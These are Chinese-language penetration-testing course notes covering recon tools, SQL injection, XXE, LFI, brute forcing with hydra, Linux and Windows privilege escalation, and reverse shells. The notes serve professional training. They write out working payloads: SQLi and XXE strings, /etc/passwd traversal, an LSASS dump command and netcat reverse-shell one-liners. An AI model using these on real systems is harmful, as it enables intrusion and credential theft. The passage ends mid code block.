:::info
112年資安職能課程教育體系場次上課筆記整理,僅供參考!
:::
[toc]
## 滲透測試
* 定義:透過模擬攻擊者的角度嘗試入侵受測標的如網站、資通系統、硬體設備或應用程式等目標,獲取受測標的之權限並找出各種潛在的漏洞,以此測試來評估受測標的之安全性並提供修補建議。
* 必要條件:執行前須簽訂授權同意書,取得合法測試授權,以免觸法。
* 目的:
* 找到所有的弱點
* 評估與驗證受測標的之安全性
* 標準
* OWASP
* TOP 10 2021
* WSTG (OWASP Web Security Testing Guide)
* OSSTMM (Open Source Security Testing Methodology Manual)
* CWE (Common Weakness Enumeration)
* 流程
* 與執行廠商確認專案
* NDA 保密條款
* 執行
* 資訊蒐集
* 主機掃描
* 弱點利用
* 提升權限
* 維持存取權限
* 整理漏同與撰寫報告
* 專案總結
* 提交測試結果報告
* 提供修補建議與技術諮詢
* 複測
* 滲透思路:
* black box > gray box > white box
* 學習的過程中,把弱點需要的條件、有可能的攻擊路徑及有哪些招式流程化
* 盡可能的做enumeration,把收集到的資訊整理,常常會有意外的發現
* 能力需求
* 程式開發
* 網路
* 與弱點掃描的差異
* 弱點掃描:自動化掃描工具 (==權限控管邏輯不是自動化工具可以檢測得出來的==)
* 滲透測試:人工檢測
* 與紅隊演練(Red Team Assessment)的差異 (資安職能考題)
* 紅隊演練:==全面性==找出組織防禦面不足的途徑,除了要找出弱點,常須具備==有效利用弱點==。(技術要求比滲透測試高很多)
* 滲透測試:只需要==證明有弱點即可==。
## 資料蒐集
:::success
被動式蒐集或掃描:不直接接觸目標
* [Top OSINT Tools in 2024](https://youtu.be/6OBTZyKybhs?si=Z4LgddR2Ukhgy0Zu)
* [Shodan](https://www.shodan.io/)
* [URL Scan](https://urlscan.io/)
* [Spiderfoot](https://minmin0625.medium.com/%E6%BB%B2%E9%80%8F%E6%B8%AC%E8%A9%A6lab-%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8osint-spiderfoot-%E5%9F%B7%E8%A1%8C%E6%83%85%E8%92%90-425de6e9198c)
* [Maltego](https://www.stationx.net/how-to-use-maltego/) - CEH課程
* [Recon-ng](https://hackertarget.com/recon-ng-tutorial/) - CEH課程
* [Top 10 FREE OSINT tools for 2024](https://youtu.be/PRqOj5qM1ic?si=7HCCJSEyvd_rRmCD)
* [DNS Dumpster](https://dnsdumpster.com)
* [Instant Data Scraper](https://chromewebstore.google.com/detail/instant-data-scraper/ofaokhiedipichpaobibbnahnkdoiiah)
* https://hackmd.io/@q0T/SkhfB4jit
* [OSINT Framework](https://osintframework.com/)
:::
* Google Hacking
* [Google Hacking 新手入門](https://feifei.tw/google-hacking/)
* https://pentest-tools.com/information-gathering/google-hacking
* [GHDB](https://www.exploit-db.com/google-hacking-database)
* [theHarvester](https://www.kali.org/tools/theharvester/)
* [Shodan](https://www.shodan.io/)
* [Top 40 Shodan Dorks for Finding Sensitive IoT Data](https://securitytrails.com/blog/top-shodan-dorks)
* [Censys](https://search.censys.io/)
* [Awesome Censys Queries](https://github.com/thehappydinoa/awesome-censys-queries)
* [Awesome OSINT](https://github.com/jivoi/awesome-osint)
* [Greynoise.io](https://www.greynoise.io/)
* [hunter.io](https://hunter.io/)
* [publicwww](https://publicwww.com/)
* [searchcode](https://searchcode.com/)
* 網站程式初步檢測工具
* [Wappalyzer](https://www.wappalyzer.com/)
* [Cookie Editor](https://cookie-editor.com/)
* [DotGit](https://github.com/davtur19/DotGit)
* [Retire.js](https://retirejs.github.io/retire.js/)
## 網路、主機及網站掃描
:::success
主動式蒐集或掃描:直接接觸目標
:::
### Server Discovery 工具
* [nmap](https://nmap.org/)
* 結果整理:[nmaptocsv](https://github.com/maaaaz/nmaptocsv)
* [9 個常見的 Nmap 通訊埠掃描情境](https://hack543.com/nmap-tutorial/)
* [Nmap Cheat Sheet(PDF)](https://stationx-public-download.s3.us-west-2.amazonaws.com/nmap_cheet_sheet_v7.pdf)
![](https://hackmd.io/_uploads/BJIQ40BT3.png)
* [masscan](https://github.com/robertdavidgraham/masscan)
* Mass IP port scanner
* 號稱最快的網路埠掃描器
* 可與 nmap 互相搭配使用
```bash
# 全埠掃描,針對單一IP
sudo masscan 8.8.8.8 -p1-65535 --rate 20000 -oX result.xml
# 全埠掃描,透過IP清單
sudo masscan -iL ip.txt -p1-65535 --rate 20000 -oX result.xml
```
* (補充)[RustScan](https://github.com/RustScan/RustScan)
* 可與 nmap 互相搭配使用
* [掃 port 最速工具軟體 – RustScan](https://hack543.com/rustscan-intro/)
* [Recon - Open Ports | Comparison - Masscan v.s. RustScan](https://youtu.be/GFXEUsNCwQY?si=WOS6kcI5_4593G57)
* (補充)[naabu](https://github.com/projectdiscovery/naabu)
### Content Discovery 工具
* [ffuf](https://github.com/ffuf/ffuf)
* [Ffuf爆破神器](https://blog.csdn.net/weixin_44288604/article/details/128444485)
* [FFUF Cheat Sheet](https://cheatsheet.haax.fr/web-pentest/tools/ffuf/)
* 使用時機:如待測目標範圍很大,可搭配ffuf等工具去針對弱點去快速挑選有問題的主機。
* 利用==http status code==判斷目標狀態
* 參數
* ==-w:設定字典檔==
* -c:替文字上色
* -u:設定目標網址
* -recursion-depth 2:往資料夾下層遞迴尋找的深度
* -ic:忽略字典檔的註解
* -fc 403:不呈現http response code為403的結果 (f開頭是filter過濾的意思)
* -mc 200:只呈現http response code為200的結果 (f開頭是matcher比對的意思)
* 利用`FUZZ`取代字典檔找到的字串去做嘗試或測試
* 常用字典檔的目錄 `/usr/share/seclists/Discovery/`
:::info
「[seclists字典檔](https://www.kali.org/tools/seclists/)」需先安裝: `sudo apt install seclists`
:::
```bash
ffuf -u http://FUZZ/icons/ -w /usr/share/wordlists/dirb/common.txt -c
#測試網站程式檔名
ffuf -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://testphp.vulnweb.com/FUZZ -e .txt
#測試網站程式種類語法
ffuf -c -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt -u http://testphp.vulnweb.com/indexFUZZ
```
* [gobuster](https://github.com/OJ/gobuster)
* 使用時機:
* 用來查找隱藏在網站下的目錄、管理頁面、機敏資料或有漏洞的進入點
* 提供的mode
* ==dir== - the classic directory brute-forcing mode (資安職能考題)
* ==dns== - DNS subdomain brute-forcing mode
* s3 - Enumerate open S3 buckets and look for existence and bucket listings
* gcs - Enumerate open google cloud buckets
* ==vhost== - virtual host brute-forcing mode (not the same as DNS!)
* fuzz - some basic fuzzing, replaces the FUZZ keyword
* tftp - bruteforce tftp files
* 參數
* ==-w:指定字典檔== (資安職能考題)
* -x:指定副檔名
* -u:設定目標網址
* -k:略過憑證確認
* -r:轉址跟隨
* 列出查詢到的目錄與http status code供測試人員判斷
```bash
# 目錄查找
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r -k -x "txt,html,php,asp,aspx,jpg,jsp,zip" -u http://127.0.0.1:61389
# 找Virtual Host
gobuster vhost -u http://domain.com/ -w /usr/share/wordlist/dirb/common.txt
```
![image](https://hackmd.io/_uploads/HywsCFfPp.png)
* [wfuzz](https://wfuzz.readthedocs.io/en/latest/)
* 使用時機:待測目標是一整個網段,且需要在短時間內快速查找時使用。
* 網站目錄掃描工具、subdomain掃描工具
* 與ffuf類似屬於content discovery工具
* 利用http status code來判斷目標狀態
```bash
wfuzz --hc 614 -c -w subdomains-top1mil-5000.txt -H "HOST:FUZZ.domain.com" http://IP
wfuzz -c -w common.txt --sc 200 -u "http://10.10.10.191/FUZZ.txt" -t 100
wfuzz -z file,big.txt -d "breed=FUZZ" -u http://shibes.xyz/api.php
```
* [cewl](https://www.kali.org/tools/cewl/)
* 網站Email擷取工具
* 字典檔產生工具 (從網站自動爬出關鍵字)
* [補充] [dirb](https://www.kali.org/tools/dirb/)
```bash
dirb http://192.168.0.1/
dirb http://192.168.0.1/ -X .aspx
```
![image](https://hackmd.io/_uploads/Sym6CFGPp.png)
* [補充] [dirsearch](https://github.com/maurosoria/dirsearch)
```bash
dirsearch -u "http://192.168.0.1/" -e aspx
dirsearch -u "http://192.168.0.1/" -e asp,aspx,txt
```
![image](https://hackmd.io/_uploads/HkmJtBXI6.png)
* [補充] [feroxbuster](https://github.com/epi052/feroxbuster)
![image](https://hackmd.io/_uploads/By2mKHQI6.png)
## 弱點利用
> https://hackmd.io/@YuTingKung/HybuFMGGF
> https://systw.net/note/archives/259
* SQL Injection
* 原因:使用者在網頁中的參數未經過處理就傳送至資料庫,並且使用者輸入的參數可以被操控,並突破開發人員所做的原始查詢,進行達到更多的惡意行為。
* 效果:資訊洩漏、伺服器遭受入侵直接被取得控制權。
* 經典案例:身分鑑別繞過(Authentication bypass)
* [DVWA - SQL Injection示範影片](https://youtu.be/oMV0JZVxvdQ?si=83Nq_8g_g0xXiVpn)
* 種類
* [Blind SQL Injection](https://owasp.org/www-community/attacks/Blind_SQL_Injection) (盲注入、推論式注入)
* Boolean-based Blind SQL Injection
* Time-based Blind SQL Injection:根據資料庫不同,使用的延遲語法也會不同。
| DataBase | Command |
| -------- | ------------------ |
| MySQL | `SELECT sleep(10)` |
| PostgreSQL | `SELECT pg_sleep(10)` |
| MSSQL | `WAITFOR DELAY '0:0:10'` |
| Oracle | `dbms_pipe.receive_message(('a'),10)` |
* In-band SQL Injection
* Error-based SQL Injection
* 透過資料庫回傳的錯誤訊息,來判斷是否存在注入的弱點。
* 常見的測方法是在注入點增加單引號(')或雙引號(")。
* [Error Based Injection using Extractvalue](https://securityidiots.com/Web-Pentest/SQL-Injection/XPATH-Error-Based-Injection-Extractvalue.html)
> [MySQL XML Functions](https://dev.mysql.com/doc/refman/5.7/en/xml-functions.html?spm=a2c6h.12873639.0.0.2eb578ce0U09QI)
```
# ExtractValue(xml_flag, xpath_expr)
# 是使用XPATH語法在XML文件結構中搜尋提取字串的函式
# 0x開頭是16進制
# 0x0a是換行(new line),但他不是XPATH語法,故會報錯
# 初步範例
index.php?view=-35" and extractvalue(0x0a,concat(0x0a,(OUR QUERY HERE)))--
# 可以找資料庫名稱
index.php?view=-35" and extractvalue(0x0a,concat(0x0a,(select database())))--
Output : XPATH syntax error: ' database_name_here'
# information_schema.tables 可以查MySQL所有的table資訊
# 可以找資料表名稱
index.php?view=-35" and extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))--
Output : XPATH syntax error: 'table_name_here'
```
* [Union-based SQL Injection](https://portswigger.net/web-security/sql-injection/union-attacks): 限定在查詢語句。
* 測試方式:確認原有的SQL語句有幾個欄位被查詢到
```
# 方式一
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
# 方式二
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
```
* 進一步了解欄位在網頁上呈現的位置 (有些時候要看欄位的資料型別,來決定搭配的型別是字串還是數字)
```
' UNION SELCT 1,2,3--
' UNION SELCT 'A','B','C'--
```
* Stacked Queries SQL Injection: 利用分號(;)串接SQL語句,可以是任何語句(CRUD)。權限足夠下,甚至可以刪除資料庫、資料表 (有些資料庫不允許)。
| DataBase | Limitation |
| -------- | ------------------------------------ |
| MySQL | PHP - Not Support<br>Other - Support |
| MSSQL | Support |
| Oracle | Not Support |
* [Out-of-band SQL Injection](https://www.invicti.com/learn/out-of-band-sql-injection-oob-sqli/)
* 寫入(上傳)檔案到伺服器
* 讀取檔案
* 執行命令:
* MSSQL可透過 `xp_cmdshell` 命令執行系統指令。
* MSSQL可透過外部腳本執行系統指令。
* [資安滲透攻防筆記 - SQL Injection](https://gordonfang-85054.medium.com/%E8%B3%87%E5%AE%89%E6%BB%B2%E9%80%8F%E6%94%BB%E9%98%B2%E7%AD%86%E8%A8%98-1-c9a6b8ada5fa)
* CheatSheet
* [PortSwigger - SQL injection cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet)
* [MySQL SQL Injection Practical Cheat Sheet](https://perspectiverisk.com/mysql-sql-injection-practical-cheat-sheet/)
* [sql-injection-payload-list](https://github.com/payloadbox/sql-injection-payload-list)
* 工具使用 [SQLmap Usage](https://github.com/sqlmapproject/sqlmap/wiki/Usage)
* [SQLmap 基本使用](https://hackmd.io/@bttea/sqlmap_common_parameters)
* [sqlmap常用技巧整理](https://nanshihui.github.io/2016/02/25/sqlmaptips/)
* [SQLmap 介紹](https://feifei.tw/security-tool-sqlmap/)
* [[簡體]手把手帶你學sqlmap](https://zhuanlan.zhihu.com/p/95919940)
* 語法
```sh
# 初步偵測
sqlmap -u "<url>" --batch
# 列出資料庫名稱
sqlmap -u "<url>" --batch dbs
# 列出個別資料庫裡的資料表
sqlmap -u "<url>" --batch -D <db_name> --tables
# 列出資料表裡的欄位名稱
sqlmap -u "<url>" --batch -D <db_name> -T <table_name> --columns
# 取得資料表裡的某幾個欄位的資料內容
sqlmap -u "<url>" --batch -D <db_name> -T <table_name> -C <column_name> --dump
# 取得個別資料庫裡的內容
sqlmap -u "<url>" --batch -D <db_name> --dump-all
```
* `--random-agent`
* [HacksPlaining](https://www.hacksplaining.com/lessons)
* 注入點 - input / url
```
http://testphp.vulnweb.com/artists.php?artist=1 order by 3
-- order by 4 出錯,代表可以 union 3個欄位
http://testphp.vulnweb.com/artists.php?artist=1 order by 4
-- 1 在畫面上無法顯示
http://testphp.vulnweb.com/artists.php?artist=1 and 0=1 union select 1,2,3--
http://testphp.vulnweb.com/artists.php?artist=1 and 0=1 union select null,concat(current_user(),'-',database()),version()--
```
![image](https://hackmd.io/_uploads/rkeeJqfvp.png)
```
http://127.0.0.1:8041/?id=2 and extractvalue(0x0a, concat(0x0a,(select database())))--
http://127.0.0.1:8041/?id=2 and extractvalue(0x0a, concat(0x0a,(select column_name from information_schema.columns where table_name='proof' LIMIT 1,1)))--
http://127.0.0.1:8041/?id=2 and extractvalue(0x0a, concat(0x0a,(select content from proof LIMIT 2,1)))--
http://127.0.0.1:8042/?id=1 and 0=1 union select id, content from proof limit 2,1
```
![image](https://hackmd.io/_uploads/B1lW1qzvT.png)
![image](https://hackmd.io/_uploads/SyezkqMvT.png)
* XXE Injection
* 在OWASP TOP 10 2021中分類項目,屬於 Security Misconfiguration。
:::info
https://portswigger.net/web-security/xxe
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection
https://www.blackhat.com/docs/webcast/11192015-exploiting-xml-entity-vulnerabilities-in-file-parsing-functionality.pdf
https://ithelp.ithome.com.tw/articles/10218939
:::
![image](https://hackmd.io/_uploads/SJ9Q15zPT.png)
![image](https://hackmd.io/_uploads/HyhNJ9GwT.png)
```xml
<?xml version="1.0"?>
<!DOCTYPE svg[
<!ENTITY file SYSTEM "file:///root/proof.txt">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="12cm" height="12cm">
<text x="20" y="350">&file;</text>
</svg>
```
* 伺服器端請求偽造 (Server-side Request Forgery)
* 誘導伺服器端的應用程式向攻擊者設定的位址發出HTTP Request
* 發起的Request是被信任的內部伺服器
* 在OWASP TOP 2021中已升至第十名
* LFI/RFI
> [資安這條路 06 - [Injection] Code injection - Local File Inclusion, Remote File Inclusion](https://ithelp.ithome.com.tw/articles/10241555)
> [PHP Remote File Inclusion](https://www.puritys.me/docs-blog/article-181-PHP-Remote-File-Inclusion.html?source=post_page-----b4054760e1b9--------------------------------)
> [目錄遍歷(Directory traversal)](https://medium.com/%E7%A8%8B%E5%BC%8F%E7%8C%BF%E5%90%83%E9%A6%99%E8%95%89/%E7%9B%AE%E9%8C%84%E9%81%8D%E6%AD%B7-path-traversal-%E6%94%BB%E6%93%8A%E6%89%8B%E6%B3%95-238218d5115d)
* LFI也可能造成以下結果:
* 機敏資料外洩
* 跨站腳本攻擊(Cross Site Script)
* 遠端代碼執行(Remote Code Execution)
* LFI漏洞樣態
* 發生在伺服器端的腳本程式中,允許將文件內容作為網站應用程式代碼的一部分。
* 在沒有適當的過濾與驗證下,可透過替換url參數達到讀取伺服器上的文件與機敏資料。
* LFI常見繞過方式 (資安職能考試複選題)
> [File Upload General Methodology](https://book.hacktricks.xyz/pentesting-web/file-upload#file-upload-general-methodology)
* 跳脫目錄: `../../etc/passwd`。
* Null Byte截斷: `../../etc/passwd%00`,`%00`為null byte。
* 編碼(URL Encode): `%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd`。
* 繞過filter: `....//....//etc/passwd`。
* RFI概念與LFI相同,只是被include的file來源變從外部引入。
* LFI/RFI特殊技巧(wrapper)
* [`php://filter`](https://www.php.net/manual/en/wrappers.php.php)
* [`zip://`](https://www.php.net/manual/en/wrappers.compression.php)
* [`data://`](https://www.php.net/manual/en/wrappers.data.php)
* [`expect://直接接執行指令`](https://www.php.net/manual/en/wrappers.expect.php)
* 暴力破解(Brute Force)
* 不斷嘗試進行密碼驗證的過程,直到成功找出可正確授權的密碼
* 需要有字典檔
* Kali Linux內建
* `/usr/share/dirb/wordlists/common.txt`
* `/usr/share/wordlists/*`
![image](https://hackmd.io/_uploads/HJGsr0bDp.png)
* 網路上的資源
* [fuzzdb](https://github.com/fuzzdb-project/fuzzdb)
* [seclist](https://github.com/danielmiessler/SecLists)
* 安裝: `sudo apt-get install seclists`
* 字典檔位置: `/usr/share/seclists`
![image](https://hackmd.io/_uploads/Hk_VL0Zvp.png)
* [keyboard walk wordlist](https://github.com/hashcat/kwprocessor)
* 自製字典檔 (cewl指令工具、crunch指令工具)
* cewl 指令
```bash
# 蒐集網站上的email
cewl -e https://<domain_name>
# 蒐集網站上特定字串
# --lowercase:將所蒐集到的字串轉成小寫
# -m:英文字串的字數,預設為3
# -w:輸出檔案
cewl https://<domain_name> -m 5 --lowercase -w user.txt
```
* crunch 指令
> [Building Unique Wordlists with Crunch](https://medium.com/@cuncis/building-unique-wordlists-with-crunch-1ca49f1f188b)
```bash
# %: 代表數字
# ^: 代表符號
# @: 代表小寫英文
# ,: 代表大寫英文
crunch <min_length> <max_length> [options]
crunch 4 4 -t %%%% -o output1.txt
crunch 4 4 1234 -t @@@@ -o output2.txt
# 案例:abc45數字1碼
crunch 6 6 -t abc45% -o pass1.txt
# 案例:abc數字3碼
crunch 6 6 -t abc%%% -o pass11.txt
# 案例:P@ssw數字1碼rd
crunch 8 8 -t P^ssw%rd -o pass22.txt
# 案例:taccst英文小寫1碼+數字1碼
crunch 8 8 -t taccst@% -o pass33.txt
```
![image](https://hackmd.io/_uploads/rysc29OzR.png)
![image](https://hackmd.io/_uploads/SkECncuf0.png)
* 暴力破解工具
* Burpsuite 的 Intruder:如使用免費版本,破解的執行緒會受到限制,會很慢,付費版本則不受限制。
* OWASP ZAP
* 免費
* Proxy工具,==可用來分析 HTTP Request 內容== (資安職能考題)。
* 搭配 Fuzzer 工具可進行暴力破解。
* [hydra](https://www.kali.org/tools/hydra/) (九頭蛇/九頭龍) 指令工具
> [Cheatsheet](https://github.com/frizb/Hydra-Cheatsheet)
```bash
# 帳號和密碼都用字典檔去try
hydra -L user.txt -P dictionary.txt ssh://<IP位址>:22 -V -f
# 帳號固定,只有密碼用字典檔去try
hydra -l <帳號> -P dictionary.txt ssh://<IP位址>:22 -V -f
# 密碼固定,只有帳號用字典檔去try
hydra -L user.txt -p <密碼> ssh://<IP位址>:22 -V -f
# 網頁登入表單破解帳號密碼 - 使用到http-post-form這個模組
hydra -U http-post-form
# 先找form > 帳號欄位為uid > 密碼欄位為passw > 使用post傳給doLogin
hydra -L user.lst -P password.lst demo.testfire.net http-post-form "/doLogin:uid=^USER^&passw=^PASS^&btnSubmit=Login:Login Failed:C=/login.jsp"
```
* [Ncrack](https://nmap.org/ncrack/):類似 Hydra
* [Medusa](https://rootissh.in/medusa-a-bruteforcing-tool-fdbf3ec1faad):類似Hydra,KaliLinux內建指令工具之一。
* [Brutespray](https://github.com/x90skysn3k/brutespray):可以使用nmap產出的掃描結果,對有被掃描到的服務進行暴力破解。
* [NSE Module](https://nmap.org/nsedoc/categories/brute.html):為nmap的script module,也可用來嘗試如MSSQL資料庫的暴力破解嘗試。
* XSS
* 一般來說,會使用alert()來測試,若瀏覽器不支援改用print()做測試。
* 攻擊類型
* 反射型XSS
* 儲存型XSS
* DOM-Based XSS
* [Cross Site Scripting (XSS) Attack Tutorial With Examples, Types & Prevention](https://www.softwaretestinghelp.com/cross-site-scripting-xss-attack-test/)
* [Cross-site scripting (XSS) cheat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
* https://www.acunetix.com/websitesecurity/cross-site-scripting/
* 權限控制失效(Broken Access Control)
* [OWASP TOP 10 - A01:2021 – 權限控制失效](https://owasp.org/Top10/zh_TW/A01_2021-Broken_Access_Control/)
> 由 2013 年的兩項指標所合併的。
> 「不安全的物件參考(Insecure Direct Object References, IDOR)」
> 「不安全的功能控管(Missing Function Level Access Control)」
* [Web 資安漏洞大可不必 - Broken Access Control 攻防之道](https://sdwh.dev/posts/2022/11/Cybersecurity-Web-Vulnerability-Broken-Access-Control/)
* 任意檔案上傳(File Upload Vulnerabilities):
* 只擋前端,未在後端伺服器做檔案檢核可透過BurpSuite攔截並繞過。
![image](https://hackmd.io/_uploads/BJyDy5MvT.png)
* 一句話木馬
* 危險或過舊的元件
* Apache Log4j
> https://www.ithome.com.tw/news/148337
https://www.ithome.com.tw/news/148753
https://github.com/roxas-tan/CVE-2021-44228
https://github.com/marcourbano/CVE-2021-44228
https://github.com/vulhub/vulhub/tree/master/log4j/CVE-2021-44228
https://blog.huli.tw/2021/12/18/what-is-log4j-and-log4shell/
* 搜尋已知弱點的方式
* 透過適當的關鍵字進行 Google 搜尋
* [Exploit DB](https://www.exploit-db.com/)
* [CVE](https://cve.mitre.org/)
* Common Vulnerabilities and Exposures 通用弱點揭露
* 鑑別、定義、分類並公告與揭露網路資訊安全弱點的計畫。
* CVSS (Common Vulnerability Scoring System):漏洞風險評估分數。
* [時隔八年!漏洞嚴重等級評分標準 CVSS 4.0版本正式發佈](https://www.informationsecurity.com.tw/article/article_detail.aspx?aid=10782)
* [CVSS 4.0 Calculator](https://www.first.org/cvss/calculator/4.0)
* [CVSS 3.1 Calculator](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)
* [CVSS Calculator](https://chandanbn.github.io/cvss/)
* [National Vulnerability Database(NVD)](https://nvd.nist.gov/vuln/search)
* NVD 是隸屬於 NIST 旗下 ITL (Information Technology Laboratory) 所收集的資訊弱點資料庫。
* 當 NVD 根據 CVE 被發佈後計算出對應的 CVSS 進行公告。
* CWE
* Common Weakness Enumeration 通用弱點列舉
* CWE 會透過 NVD Count、Avg CVSS 經過計算得到 Overall Score,再透過這份 Overall Score 的分數進行排序,最後得到 "[The CWE Top 25](https://cwe.mitre.org/top25/)"。
:::info
![image](https://hackmd.io/_uploads/rJSzNB-Ua.png)
* 攻擊手法揭露 [CAPCE™ (Common Attack Pattern Enumerations and Classifications)](https://capec.mitre.org/)
* CWE™ (Common Weakness Enumeration)
:::
## 提權
:::success
* 透過利用弱點的方式,取得作業系統的存取權後,即可進行評估如何提權。
* 水平提權
* 垂直提權
* 提權的最終目的:
* 取得最高權限的控制權
* 後滲透(Post-Exploitation)
* 橫向移動(Lateral Movement)
:::
### Linux系統提權
* 提權的切入點
* 不安全的組態設定
* 高權限的明文密碼存放於機器中
* 存取權限錯誤
* 系統存在未修補的kernel提權弱點
* Credentials dumping
* 確認權限狀態
* `ls -alh`:顯示所在資料夾下完整的檔案及目錄清單(含隱藏檔案)
* `id`:查目前的帳號的uid、gid、groups等
* `whoami`:查目前帳號名稱
* 透過不安全的系統檔案權限設定,進行提權
* `/etc/passwd`
* 修改某個user帳號的uid為0後,再切換至該user即可提升為root權限
* `/etc/shadow`
* 要搭配破密工具 hashcat、John The Ripper
* [Understanding the /etc/shadow File](https://linuxize.com/post/etc-shadow-file/)
* `/etc/group`
* 將一般使用者帳號加入至root群組,一般使用者也可以使用root權限
* `/etc/sudoers`
* 透過sudo指令且不需要密碼即可執行root權限
* `/etc/motd`
* MOTD (Message Of The Day)
* Linux 系統中常見登入成功後的訊息顯示服務,只要提權的弱點存在,就可以利用此才服務當作一種提權的後門
* Binary path poisoning:汙染PATH變數
* crontab
```bash
# 檢查crontab
crontab -l
# 修改新增crontab
crontab -e
```
* sudo
```bash
sudo -l
sudo awk 'BEGIN {system("/bin/sh")}'
```
* [Linux for Pentester: Find Privilege Escalation](https://www.hackingarticles.in/linux-for-pentester-find-privilege-escalation/)
* `find . -type f -perm 0777 -print`
* Credentials dumping
* Linux取得明文密碼工具 - [Mimipenguin](https://github.com/huntergregal/mimipenguin)
* 使用時機:==Linux系統==、==有root權限==、==進行橫向移動時==。
* Credentials harvesting
* `~/.ssh/`
* Laravel專案:`.env`
* `printenv`
* `~/.bash_history`、
![image](https://hackmd.io/_uploads/rkS9k9zD6.png)
* log檔和設定檔:`/etc/profile`
* hardcode:利用grep指令查找
```bash
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xrags -0 grep -i -n "$password"
```
* 密碼hash值破解
* (補充)[hashcat](https://hashcat.net/hashcat/)
* [深入 hashcat 系列](https://hack543.com/category/%e5%b7%a5%e5%85%b7%e8%bb%9f%e9%ab%94/hashcat/)
* [hashcat 密碼雜湊快速破解工具使用教學與範例](https://officeguide.cc/hashcat-fast-password-recovery-utility-tutorial-examples/)
* [Johny the ripper](https://github.com/openwall/john)
* [駭客貓咪 - John the Ripper (JTR) 密碼暴力破解工具](https://hackercat.org/hacker-tools/john-the-ripper)
* [Exploit Notes - John the Ripper](https://exploit-notes.hdks.org/exploit/cryptography/tool/john-the-ripper/)
* [How to Crack Passwords using John The Ripper – Pentesting Tutorial](https://www.freecodecamp.org/news/crack-passwords-using-john-the-ripper-pentesting-tutorial/)
```
echo "root:$6$znYGr.f4IXYitFOE$qImkWPAh9ms1DvBX2xEKoakBDtp/.Hz3LkZjRlF0tVBLz6yFxLvONk.GqL1NXz8sxuKYLxGTQLAkLNGZx9fBj1:18995:0:99999:7:::" > testfile
john --wordlist=/usr/share/wordlists/wfuzz/others/common_pass.txt testfile
```
![image](https://hackmd.io/_uploads/H123y5Gv6.png)
* [GTFOBins](https://gtfobins.github.io/)
> GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems.
> Linux binary 功能與特性查詢
* [講義上補充參考連結資料] 其他提權工具參考
* [Linux elevation of privileges ToC](https://guif.re/linuxeop)
* [LinEnum](https://github.com/rebootuser/LinEnum)
* [PEASS-ng](https://github.com/carlospolop/PEASS-ng)
* [Linux_Exploit_Suggester](https://github.com/InteliSecureLabs/Linux_Exploit_Suggester)
* [PrintSpoofer](https://github.com/itm4n/PrintSpoofer)
* [GodPotato](https://github.com/BeichenDream/GodPotato)
### Windows 提權
* 重要概念
* system 是 Windows 的最高權限。
* 即使有了 Administrator 權限,也無法直接進行 credentials dumping 等動作。
* 提權的切入點
* 不安全的服務
* 高權限的明文密碼存放於機器中
* 系統存在未修補的kernel提權弱點
* LSASS與註冊機碼匯出密碼
* 工具
* [利用PsExec提權為system管理員教學](https://hackercat.org/windows/psexec-local-privilege-escalation)
* 使用 Sysinternals 的 [PsExec 工具](https://learn.microsoft.com/zh-tw/sysinternals/downloads/psexec)
* [Windows PrivEsc: Weak Service Permission (針對脆弱的服務)](https://asfiyashaikh.medium.com/windows-privesc-weak-service-permission-b90f3bf4d44f)
* 使用 Sysinternals 的 [AccessChk 工具](https://learn.microsoft.com/zh-tw/sysinternals/downloads/accesschk)
* [Windows Kernel Exploits (已編譯好的執行檔可供提權測試)](https://github.com/SecWiki/windows-kernel-exploits)
* [BloodHound](https://bloodhound.readthedocs.io/en/latest/)
* [Mimikatz](https://github.com/ParrotSec/mimikatz)
* [Impacket](https://github.com/fortra/impacket):集合了許多處理網路協定的實現工具 (資安職能考試有考到)
* LSASS memory dumping
> [Dumping Credentials from Lsass Process Memory with Mimikatz](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-credentials-from-lsass.exe-process-memory)
> [Dumping Lsass Without Mimikatz](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-without-mimikatz)
* Mimikatz 會被防毒軟體查殺。
* Sysinternals 的 [ProcDump 工具](https://learn.microsoft.com/zh-tw/sysinternals/downloads/procdump)
* Rundll32 + comsvcs.dll
```bat
.\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <lsass_pid> C:\temp\lsass.dmp full
```
* GUI Task Manager匯出取得
> 工作管理員 > 找lsass.exe > 右鍵 > 建立傾印檔案
* [講義上補充參考連結資料] 其他提權工具參考
* [Windows elevation of privileges ToC](https://guif.re/windowseop)
* [BeRoot Project](https://github.com/AlessandroZ/BeRoot)
* [PatchChecker](https://github.com/deadjakk/patch-checker) (資安職能考試有考到PathChecker的用途)
* [Windows Privilege Escalation Awesome Scripts](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS)
* [PayloadsAllTheThins - Windows Privilege Escalation](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)
## 維持存取權限
### Reverse Shell
> 取得Shell是很重要的技能與基本功
* 分類
* 可互動式 (Interactive shell):reverse shell、spawning tty shell
* 不可互動式 (Non-interactive shell):webshell、blind類型的RCE等 (資安職能考題-複選)
* 連線至遠端電腦建立反向連結,在遠端電腦操作命令。
* [Reverse Shell Generator](https://www.revshells.com/)
* 參考方式一
* 受害方
```sh
nc 127.0.0.1 443 -e /bin/bash
```
* 攻擊方
```sh
nc -lvnp 443
```
* 參考方式二
* 受害方
```sh
#!/bin/sh
uname -snrvm
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc [IP位址] [PORT] >/tmp/f
```
* 攻擊方
```bash
